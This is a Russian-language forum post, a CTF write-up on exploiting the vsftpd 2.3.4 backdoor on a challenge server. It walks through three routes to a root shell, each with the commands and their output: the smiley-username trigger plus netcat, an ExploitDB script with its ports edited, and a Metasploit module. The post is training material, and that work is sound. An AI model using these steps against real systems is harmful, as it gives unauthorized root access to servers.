HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.12.2023, 17:43
ALT1RE
Новичок
Регистрация: 11.10.2020
Сообщений: 0
С нами: 2942175

Репутация: 0
По умолчанию

Данная статья является райтапом на задание "Любимый FTP" из категории "Администрирование". В задании необходимо найти и использовать уязвимость в FTP-сервере vsftpd версии 2.3.4. Будет рассказано о процессе поиска уязвимости, применении эксплойта и получения доступа к системе. В качестве инструментов используются GitHub, ExploitDB и Metasploit.

Ссылка на задание: Игры Кодебай | CTF-платформа



Анализ.
Прежде просканируем порты утилитой Nmap с опцией -А:

Bash:


Код:
└─$ nmap -A
62.173
.140.174 -p
10007,10008
Starting Nmap
7.94
(
https://nmap.org
)
at
2023
-12-04 07:22 EST
Nmap scan report
for
antichat
(
62.173
.140.174
)
Host is up
(
0
.032s latency
)
.

PORT      STATE    SERVICE VERSION
10007
/tcp
open
ftp
vsftpd
2.3
.4
10008
/tcp filtered octopus
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done:
1
IP address
(
1
host
up
)
scanned
in
7.40
seconds
Из результатов сканирования видим, что на 10007 порту работает ftp-сервер vsftpd версии 2.3.4.
Погуглим уязвимости для этой версии и на каком-нибудь сайте найдем такое описание:

Код:


Код:
В июле 2011 года было обнаружено, что версия vsftpd 2.3.4, которую можно загрузить с главного сайта, была скомпрометирована.
Пользователи, заходящие на взломанный сервер vsftpd-2.3.4, могут использовать смайлик :) в качестве имени пользователя и получить
командную оболочку на порту 6200. Это не было проблемой дыры в безопасности в vsftpd, вместо этого кто-то загрузил другую версию
vsftpd, который содержал бэкдор. С тех пор сайт был перенесен на Google App Engine.
Решение 1.
Попробуем подключиться к FTP-серверу.
Помним, что при вводе логина обязательно указать смайлик , пароль - любой.
Открываем терминал и подключаемся:

Bash:


Код:
└─$
ftp
62.173
.140.174
10007
Connected to
62.173
.140.174.
220
(
vsFTPd
2.3
.4
)
Name
(
62.173
.140.174:kali
)
: ALT1RE:
)
331
Please specify the password.
Password:
После ввода пароля сервер подвис и ничего не происходит. Проверим - вдруг он ожидает нас на 6200 порту.

Попробуем подключиться к нему во втором терминале:

Bash:


Код:
└─$
nc
62.173
.140.174
6200
(
UNKNOWN
)
[
62.173
.140.174
]
6200
(
?
)
:
Connection refused
Нет - там нас никто не ждет.

Вспоминаем, что в описании к заданию был дан еще один порт - 10008. Пробуем подключиться к нему:

Bash:


Код:
└─$
nc
62.173
.140.174
10008
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
Вводим команду 'id' и понимаем что мы под рутом.

Осталось лишь найти флаг в каком-то файле и сдать его на площадке.
Формат флага: Antichat{eT0_nE_f1@g}

Решение 2.
Всего ранее описанного можно было не проделывать, а найти, например на exploit-db.com, готовый экплойт, ИССЛЕДОВАТЬ исходный код, отредактировать в нем порты (21=>10007, 6200=>10008) и запустить:

Bash:


Код:
└─$
wget
https://www.exploit-db.com/download/49757
└─$
sed
-i
's/21/10007/g'
49757
└─$
sed
-i
's/6200/10008/g'
49757
└─$ python3
49757
62.173
.140.174
/home/kali/49757:11: DeprecationWarning:
'telnetlib'
is deprecated and slated
for
removal
in
Python
3.13
from telnetlib
import
Telnet
Success, shell opened
Send
`exit`
to quit shell
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)
При возникновении проблем с версиями модуля telnetlib: типа "DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13" чтобы не вникать в зависимости, попробуйте найти другой эксплойт - например этот.
Скачайте его, посмотрите исходный код (ну мало ли что там) редактируем порты - вместо 21го 10007, вместо 6200 - 10008:

Bash:


Код:
└─$
nano
exploit.py
..
.
def __init__
(
self,ip,port
=
10007
)
:
..
.
..
.
io
=
remote
(
self.ip,
10008
)
..
.
Запустите и получите рута:

Bash:


Код:
└─$ python3 exploit.py
62.173
.140.174
[
+
]
Got Shell
!
!
!
[
+
]
Opening connection to
62.173
.140.174 on port
10007
: Done
[
*
]
Closed connection to
62.173
.140.174 port
10007
[
+
]
Opening connection to
62.173
.140.174 on port
10008
: Done
[
*
]
Switching to interactive mode
$
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)
Решение 3.
Хотите проэксплуатировать используя фреймворк Metasploit? - запускаем его и ищем подходящий эксплойт:

Bash:


Код:
msf6
>
search vsftpd
В базе метасплойта нашлось два эксплойта для vsftpd:



Нам нужен эксплойт для версии 2.3.4 - выбираем:

Bash:


Код:
msf6
>
use
1
или
msf6
>
use exploit/unix/ftp/vsftpd_234_backdoor
Мы знаем, что ftp-сервер работает на порту 10007, адрес удаленного хоста 62.173.140.174 и при удачной эксплуатации сервер отдаст шелл на 10008 порт - зададим параметры эксплойта:

Bash:


Код:
set
RHOST
62.173
.140.174
set
RPORT
10007
Но куда вписывать 10008 порт?! - а некуда его указывать, в эксплойте не предусмотрена возможность редактировать порт для обратного шелла и при удачной эксплуатации он будет ожидать его на 6200 порту.
Ну и ладно - оставим как есть и запустим эксплойт командой "exploit":



После запуска Метасплойт сообщает "Эксплойт исполнен, но сессия не была создана" - оно и понятно, ведь он ожидал его не на том порту.

Я вижу два решения: редактировать эксплойт или подключиться Netcat'ом к нужному порту, ведь половина работы уже проделана и, возможно, сервер готов отдаться нам.

Пробуем неткатом - в новом терминале подключаемся к 10008 порту:

Bash:


Код:
└─$
nc
62.173
.140.174
10008
id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
,1
(
bin
)
,2
(
daemon
)
,3
(
sys
)
,4
(
adm
)
,6
(
disk
)
,10
(
wheel
)
,11
(
floppy
)
,20
(
dialout
)
,26
(
tape
)
,27
(
video
)
Введя команду "id", видим что мы под рутом - забираем флаг.

Давайте теперь попробуем отредактировать эксплойт.
Переходим в каталог с исходным кодом нужного эксплойта и, например, в редакторе nano попробуем изменить порт:

Bash:


Код:
└─$
cd
/usr/share/metasploit-framework/modules/exploits/unix/ftp/
└─$
sudo
nano
vsftpd_234_backdoor.rb
Находим две строки:

Bash:


Код:
nsock
=
self.connect
(
false,
{
'RPORT'
=
>
6200
}
)
rescue nil
Меняем порт 6200 на 10008 в обоих. Должно получиться так:

Bash:


Код:
nsock
=
self.connect
(
false,
{
'RPORT'
=
>
10008
}
)
rescue nil
Перезапускаем metasploit и запускаем эксплойт (не забудьте настроить его):



Дальше находим флаг и сдаем его на площадке.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.